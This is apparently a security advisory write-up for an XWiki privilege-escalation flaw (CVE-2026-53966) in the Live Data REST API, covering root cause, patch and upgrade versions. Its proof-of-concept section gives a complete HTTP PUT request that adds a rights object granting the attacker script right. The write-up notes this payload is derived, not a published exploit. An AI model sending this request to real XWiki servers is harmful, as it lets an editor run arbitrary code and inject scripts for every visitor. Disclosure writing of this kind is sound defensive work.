CVE-2026-53966: XWiki Platform Live Data Live Table Connector Missing Authorization Privilege Escalation
Any XWiki user with edit access to a page can call the Live Data REST API to inject or modify rights objects on that page, giving themselves script right and the ability to run arbitrary Velocity…

The problem
The Live Data Live Table Connector exposes a REST endpoint for editing live data entries. In affected versions (>= 13.4-rc-1, < 16.10.17), this endpoint does not verify that the caller holds more than edit right before writing changes back to the underlying XWiki page.
Because XWiki page-level rights are stored as ordinary XObjects (class XWiki.XWikiRights), any user who can edit a page can use this endpoint to attach or modify a rights object on it, granting themselves script right. Script right lets a user execute Velocity code and emit unfiltered HTML/JavaScript to every visitor.
Secondary checks implemented in listeners such as UserUpdatingDocumentEvent are also bypassed.
Proof of concept
A working proof-of-concept for CVE-2026-53966 in org.xwiki.platform:xwiki-platform-livedata-livetable, with the exact payload below.
PUT /xwiki/rest/liveData/sources/liveTable/entries HTTP/1.1
Host: <target>
Content-Type: application/json
Authorization: Basic <edit-user-credentials>
{
"id": "XWiki.XWikiRights_0",
"values": {
"doc.reference": "MySpace.MyPage",
"className": "XWiki.XWikiRights",
"property#levels": "script",
"property#users": "XWiki.<attacker>",
"property#allow": "1"
}
}The root cause is CWE-862 (Missing Authorization). The Live Data REST layer called document-save logic without first invoking XWiki's full rights-check pipeline, so only the basic edit-right gate was enforced.
The patch (commit 448b0f074cc6711410eb2647c4740454c92d1626, released in 16.10.17 / 17.4.10 / 17.10.4 / 18.1.0) corrects this by properly calling all authorization checks inside the Live Data save path, including those that would block a non-script-right holder from writing sensitive XObject properties.
Note: the precise JSON body shape above is derived from XWiki's documented REST API for live data entry edits and the XWiki.XWikiRights object model. No public PoC has been released; the payload is derived from the advisory description and patch analysis.
The fix
Upgrade to XWiki 16.10.17, 17.4.10, 17.10.4, or 18.1.0. No workaround is available for unpatched instances.
Related research
- high · 7.5OmniFaces: Forged Resource IDs, XSS via o:hashParam, and Push-Channel Replay
- high · 7.5CVE-2026-46487CVE-2026-46487: GeoNetwork Elasticsearch Search ACL Bypass via Missing Query Field
- high · 8.7CVE-2026-55839CVE-2026-55839: Kestra Stored XSS via Custom Markdown [[link]] Attribute Injection
- highCVE-2026-69220CVE-2026-69220: RabbitMQ Java Client Uncontrolled Recursion DoS via Nested AMQP Tables